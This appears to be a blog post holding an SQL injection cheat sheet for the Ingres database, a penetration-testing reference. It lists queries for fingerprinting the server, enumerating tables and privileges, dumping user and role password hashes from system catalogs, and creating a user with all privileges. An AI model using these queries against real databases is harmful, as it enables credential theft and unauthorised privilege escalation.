--
0

» Ingres
PayloadDescription (if any)
Comments
Normal “–” and C-style /**/ comments are allowed:
select 123; — sdfjsdlkfj
select 123; /* sdfsdf */ 
 Batching Queries Allowed?
Not via DBI in PERL.  Subsequent statements seem to get ignored:
select blah from table where foo = 1; select … doesn’t matter this is ignored. 
 Database Versionselect dbmsinfo(’_version’);
 Current Database Userselect dbmsinfo(’session_user’);
 System User for Current Connectionselect dbmsinfo(’system_user’);
 Current Databaseselect dbmsinfo(’database’);
 Limiting Rows Returned
select top 10 blah from table;
select first 10 blah form table; 
 Returning N Rows starting at Offset M
Astoundingly, this doesn’t seem to be possible!
 List Tables
select table_name, table_owner from iitables;
select relid, relowner, relloc from iirelation;
select relid, relowner, relloc from iirelation where relowner != ‘$ingres’; 
 List Columnsselect column_name, column_datatype, table_name, table_owner from iicolumns;
 List Databse Users and Passwords
First connect to iidbdb, then:
select name, password from iiuser; 
 FROM clause mandated in SELECTs?
No.  You don’t need to select form “dual” or anything.  The following is legal:
select 1; 
 UNION supported
Yes.  Nothing tricky here.  The following is legal:
select 1 union select 2; 
 Enumerate Tables Privsselect table_name, permit_user, permit_type from iiaccess;
 Enumerate Current Privs
select dbmsinfo(’db_admin’);
select dbmsinfo(’create_table’);
select dbmsinfo(’create_procedure’);
select dbmsinfo(’security_priv’);
select dbmsinfo(’select_syscat’);
select dbmsinfo(’db_privileges’);
select dbmsinfo(’current_priv_mask’);
 Length of a stringselect length(’abc’); — returns 3
 Bitwise AND
The function “bit_and” exists, but seems hard to use.  Here’s an
example of ANDing 3 and 5 together.  The result is a “byte” type
with value \001:
select substr(bit_and(cast(3 as byte), cast(5 as byte)),1,1);
 Substringselect substr(’abc’, 2, 1); — returns ‘b’
 ASCII value of a character ??? 
(The “ascii” function exists, but doesn’t seem to do what I’d expect.)
 Roles and passwords
First you need to connect to iidbdb, then: 
select roleid, rolepass from iirole;
List Database Procedures
First you need to connect to iidbdb, then:
select dbp_name,  dbp_owner from iiprocedure;
Create Users + Granting Privs
First you need to connect to iidbdb, then:
create user pm with password = ‘password’;
grant all on current installation to pm; 
 Time Delays???
 Execute OS Commands???
 Write to File System???
 Concatenation select ‘abc’ || ‘def’;
 Casting select cast(123 as varchar);
select cast(’123′ as integer);

No Response to "Ingres"

Post a Comment